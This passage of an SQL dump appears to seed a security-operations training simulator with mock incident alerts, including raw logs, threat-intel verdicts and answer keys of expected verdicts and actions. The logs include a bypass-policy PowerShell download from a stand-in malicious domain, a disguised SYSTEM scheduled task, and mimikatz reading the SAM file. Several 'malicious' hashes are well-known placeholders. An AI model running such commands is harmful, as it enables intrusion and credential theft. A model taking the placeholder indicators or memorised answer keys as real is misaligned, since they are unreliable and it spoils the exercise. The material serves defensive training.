ransomware.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash linked to Maze ransomware family.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1600, 'Exfiltration of Sensitive Retail Data', 'critical', 'Data Loss Prevention (DLP) Systems', 'Egregor APT group has exfiltrated sensitive customer and corporate data through a compromised internal host, utilizing their known strategy of double-extortion before law enforcement intervention.', 'Exfiltration', 'T1048.002 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 ', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T03:14:07Z\",\"event_type\":\"data_exfiltration\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"203.0.113.5\",\"user\":\"jdoe\",\"file_names\":[\"customer_data_backup.zip\",\"corporate_strategy.docx\"],\"file_hashes\":[\"5d41402abc4b2a76b9719d911017c592\",\"e99a18c428cb38d5f260853678922e03\"],\"protocol\":\"HTTPS\",\"destination_port\":443}', '2026-03-15 19:17:07', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address involved in exfiltration.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"external_intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with Egregor operations.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"hash_database\",\"verdict\":\"malicious\",\"details\":\"Hash of exfiltrated file matches known sensitive data.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.691Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:14:07Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_names\\\":[\\\"customer_data_backup.zip\\\",\\\"corporate_strategy.docx\\\"],\\\"file_hashes\\\":[\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"e99a18c428cb38d5f260853678922e03\\\"],\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_port\\\":443}\"},{\"timestamp\":\"2026-03-15T20:57:15.691Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:14:07Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_names\\\":[\\\"customer_data_backup.zip\\\",\\\"corporate_strategy.docx\\\"],\\\"file_hashes\\\":[\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"e99a18c428cb38d5f260853678922e03\\\"],\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_port\\\":443}\"},{\"timestamp\":\"2026-03-15T20:56:15.691Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:14:07Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_names\\\":[\\\"customer_data_backup.zip\\\",\\\"corporate_strategy.docx\\\"],\\\"file_hashes\\\":[\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"e99a18c428cb38d5f260853678922e03\\\"],\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_port\\\":443}\"},{\"timestamp\":\"2026-03-15T20:55:15.691Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:14:07Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_names\\\":[\\\"customer_data_backup.zip\\\",\\\"corporate_strategy.docx\\\"],\\\"file_hashes\\\":[\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"e99a18c428cb38d5f260853678922e03\\\"],\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_port\\\":443}\"},{\"timestamp\":\"2026-03-15T20:54:15.691Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:14:07Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_names\\\":[\\\"customer_data_backup.zip\\\",\\\"corporate_strategy.docx\\\"],\\\"file_hashes\\\":[\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"e99a18c428cb38d5f260853678922e03\\\"],\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_port\\\":443}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1601, 'Initial Access: Phishing Email Detected', 'high', 'Email Gateway Logs', 'A targeted phishing email was detected sent to a healthcare staff member. The email contained a malicious link designed to initiate an infection chain, likely leading to initial access into the network.', 'Phishing', 'T1566.001', 1, 'Closed', NULL, '{\"timestamp\":\"2023-10-05T14:23:45Z\",\"event_id\":\"email_12345\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.1.15.32\",\"email_subject\":\"Important Update on Your Health Benefits\",\"sender_email\":\"hr-support@fakesite.com\",\"recipient_email\":\"john.doe@healthcare.example.com\",\"malicious_url\":\"http://malicious-site.com/benefits-update\",\"attachment\":\"none\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36\",\"hash\":\"3f5cfc5b1b7d4c7a9f4e1b4c4e5a4e9b\"}', '2026-03-15 19:17:34', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"This IP is associated with known phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.15.32\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Local network IP address.\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"hr-support@fakesite.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Email address used in phishing campaigns.\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"http://malicious-site.com/benefits-update\",\"is_critical\":true,\"osint_result\":{\"source\":\"URL Reputation Service\",\"verdict\":\"malicious\",\"details\":\"URL hosting malicious content.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"3f5cfc5b1b7d4c7a9f4e1b4c4e5a4e9b\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Platform\",\"verdict\":\"malicious\",\"details\":\"Hash associated with phishing email payloads.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Initial Access: Phishing Email Detected\",\"date\":\"2026-03-15T20:58:15.701Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1602, 'Execution: Fileless PowerShell Activity', 'high', 'Endpoint Detection and Response (EDR)', 'A suspicious PowerShell script execution was detected on endpoint 192.168.1.25, initiated by user jdoe. The script was executed without leaving traces on disk, leveraging fileless techniques to evade traditional antivirus solutions. The PowerShell command attempted to download additional payloads from a suspicious domain.', 'Fileless Execution', 'T1059.001: PowerShell', 1, 'Closed', 283, '{\"timestamp\":\"2023-10-21T14:32:45Z\",\"event_type\":\"process_creation\",\"hostname\":\"DESKTOP-5G7HJ9K\",\"internal_ip\":\"192.168.1.25\",\"user\":\"jdoe\",\"process_name\":\"powershell.exe\",\"command_line\":\"powershell -NoProfile -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri http://malicious-domain.com/payload -OutFile $null\",\"attacker_ip\":\"203.0.113.45\",\"malicious_domain\":\"malicious-domain.com\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\"}', '2026-03-15 19:17:34', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_database\",\"verdict\":\"internal\",\"details\":\"Username of the user executing the script.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP address used for C2 communication.\"}},{\"id\":\"artifact_4\",\"type\":\"domain\",\"value\":\"malicious-domain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence\",\"verdict\":\"malicious\",\"details\":\"Domain associated with malware distribution.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"Hash of the PowerShell command associated with known malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1603, 'Persistence: Scheduled Task Creation', 'high', 'System Event Logs', 'NetWalker affiliates establish persistence by creating a scheduled task that runs a PowerShell script at regular intervals. This task aims to maintain access on the compromised system by executing malicious payloads.', 'Persistence Mechanism', 'T1053.005', 1, 'Closed', 283, '{\"event_id\":4698,\"task_name\":\"\\\\Microsoft\\\\Windows\\\\Update\\\\CriticalUpdate\",\"task_action\":\"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"task_arguments\":\"-ExecutionPolicy Bypass -File C:\\\\Windows\\\\Temp\\\\update.ps1\",\"task_trigger\":\"Daily\",\"task_next_run_time\":\"2023-10-10T03:00:00Z\",\"task_user\":\"SYSTEM\",\"source_ip\":\"193.104.68.132\",\"username\":\"SYSTEM\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"task_creator\":\"NT AUTHORITY\\\\SYSTEM\",\"timestamp\":\"2023-10-07T08:15:00Z\"}', '2026-03-15 19:17:34', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with NetWalker malware.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"193.104.68.132\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known threat actors.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.711Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":4698,\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Update\\\\\\\\CriticalUpdate\\\",\\\"task_action\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\\\",\\\"task_arguments\\\":\\\"-ExecutionPolicy Bypass -File C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\update.ps1\\\",\\\"task_trigger\\\":\\\"Daily\\\",\\\"task_next_run_time\\\":\\\"2023-10-10T03:00:00Z\\\",\\\"task_user\\\":\\\"SYSTEM\\\",\\\"source_ip\\\":\\\"193.104.68.132\\\",\\\"username\\\":\\\"SYSTEM\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"task_creator\\\":\\\"NT AUTHORITY\\\\\\\\SYSTEM\\\",\\\"timestamp\\\":\\\"2023-10-07T08:15:00Z\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.711Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":4698,\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Update\\\\\\\\CriticalUpdate\\\",\\\"task_action\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\\\",\\\"task_arguments\\\":\\\"-ExecutionPolicy Bypass -File C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\update.ps1\\\",\\\"task_trigger\\\":\\\"Daily\\\",\\\"task_next_run_time\\\":\\\"2023-10-10T03:00:00Z\\\",\\\"task_user\\\":\\\"SYSTEM\\\",\\\"source_ip\\\":\\\"193.104.68.132\\\",\\\"username\\\":\\\"SYSTEM\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"task_creator\\\":\\\"NT AUTHORITY\\\\\\\\SYSTEM\\\",\\\"timestamp\\\":\\\"2023-10-07T08:15:00Z\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.711Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":4698,\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Update\\\\\\\\CriticalUpdate\\\",\\\"task_action\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\\\",\\\"task_arguments\\\":\\\"-ExecutionPolicy Bypass -File C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\update.ps1\\\",\\\"task_trigger\\\":\\\"Daily\\\",\\\"task_next_run_time\\\":\\\"2023-10-10T03:00:00Z\\\",\\\"task_user\\\":\\\"SYSTEM\\\",\\\"source_ip\\\":\\\"193.104.68.132\\\",\\\"username\\\":\\\"SYSTEM\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"task_creator\\\":\\\"NT AUTHORITY\\\\\\\\SYSTEM\\\",\\\"timestamp\\\":\\\"2023-10-07T08:15:00Z\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.711Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":4698,\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Update\\\\\\\\CriticalUpdate\\\",\\\"task_action\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\\\",\\\"task_arguments\\\":\\\"-ExecutionPolicy Bypass -File C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\update.ps1\\\",\\\"task_trigger\\\":\\\"Daily\\\",\\\"task_next_run_time\\\":\\\"2023-10-10T03:00:00Z\\\",\\\"task_user\\\":\\\"SYSTEM\\\",\\\"source_ip\\\":\\\"193.104.68.132\\\",\\\"username\\\":\\\"SYSTEM\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"task_creator\\\":\\\"NT AUTHORITY\\\\\\\\SYSTEM\\\",\\\"timestamp\\\":\\\"2023-10-07T08:15:00Z\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.711Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":4698,\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Update\\\\\\\\CriticalUpdate\\\",\\\"task_action\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\\\",\\\"task_arguments\\\":\\\"-ExecutionPolicy Bypass -File C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\update.ps1\\\",\\\"task_trigger\\\":\\\"Daily\\\",\\\"task_next_run_time\\\":\\\"2023-10-10T03:00:00Z\\\",\\\"task_user\\\":\\\"SYSTEM\\\",\\\"source_ip\\\":\\\"193.104.68.132\\\",\\\"username\\\":\\\"SYSTEM\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"task_creator\\\":\\\"NT AUTHORITY\\\\\\\\SYSTEM\\\",\\\"timestamp\\\":\\\"2023-10-07T08:15:00Z\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1604, 'Lateral Movement: Unauthorized Access Detected', 'high', 'Network Traffic Analysis', 'Detected unauthorized lateral movement using stolen credentials from compromised user accounts, aimed at accessing critical systems in the education institute\'s network.', 'Credential Dumping', 'T1003', 1, 'new', 283, '{\"timestamp\":\"2023-10-20T14:22:58Z\",\"source_ip\":\"192.168.1.102\",\"destination_ip\":\"10.0.0.15\",\"external_attacker_ip\":\"203.0.113.45\",\"username\":\"j.doe\",\"file_accessed\":\"C:\\\\Windows\\\\System32\\\\config\\\\SAM\",\"hash\":\"c8b7b5a5d0f6aae6d1e8a3f1f0c9a7d3\",\"event_type\":\"credential_dumping\",\"additional_info\":{\"tools_used\":[\"mimikatz\"],\"successful_logins\":[\"10.0.0.15\"],\"failed_attempts\":3}}', '2026-03-15 19:17:34', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.102\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address involved in lateral movement.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Destination IP address for unauthorized access.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"external\",\"verdict\":\"malicious\",\"details\":\"Known attacker IP address.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Compromised user account used for lateral movement.\"}},{\"id\":\"artifact_6\",\"type\":\"hash\",\"value\":\"c8b7b5a5d0f6aae6d1e8a3f1f0c9a7d3\",\"is_critical\":true,\"osint_result\":{\"source\":\"external\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Mimikatz tool usage.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1605, 'Exfiltration: Data Transfer to External Server', 'critical', 'Outbound Firewall Logs', 'Sensitive data, including student records and patient information, was transferred to a remote server controlled by the attackers. The operation suggests an advanced level of sophistication, indicating the possible involvement of an APT group.', 'Data Exfiltration', 'T1048 - Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"203.0.113.45\",\"dst_port\":443,\"protocol\":\"HTTPS\",\"action\":\"ALLOW\",\"username\":\"jdoe\",\"filename\":\"student_records_q3_2023.zip\",\"hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"data_size\":\"150MB\"}', '2026-03-15 19:17:34', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal source IP involved in data exfiltration.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"malicious IP database\",\"verdict\":\"malicious\",\"details\":\"IP address known for hosting malicious activities.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"student_records_q3_2023.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"file analysis\",\"verdict\":\"suspicious\",\"details\":\"File contains sensitive information.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"hash lookup\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with recent data leaks.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1606, 'Initial Access: Spear Phishing Email Detected', 'high', 'Email Server Logs', 'A spear phishing campaign targeting key personnel in the municipality was detected. The attacker sent a well-crafted email with a malicious attachment aiming to gain entry into the network.', 'Phishing', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T08:45:23Z\",\"email_id\":\"2e4b54a1c3b548f5a1f0e3e4\",\"from\":\"finance_department@municipal.gov\",\"to\":\"john.doe@municipal.gov\",\"subject\":\"Urgent: Q4 Financial Summary\",\"attachment\":{\"filename\":\"Q4_Financial_Summary.pdf.exe\",\"hash\":\"5d41402abc4b2a76b9719d911017c592\",\"size\":\"512000\"},\"ip_source\":\"203.0.113.45\",\"ip_destination\":\"10.0.5.23\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"delivery_status\":\"delivered\"}', '2026-03-15 19:18:01', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known phishing server.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected as malware by multiple engines.\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"finance_department@municipal.gov\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Email Reputation\",\"verdict\":\"suspicious\",\"details\":\"Email address spoofed.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"Q4_Financial_Summary.pdf.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal File Analysis\",\"verdict\":\"malicious\",\"details\":\"Executable disguised as 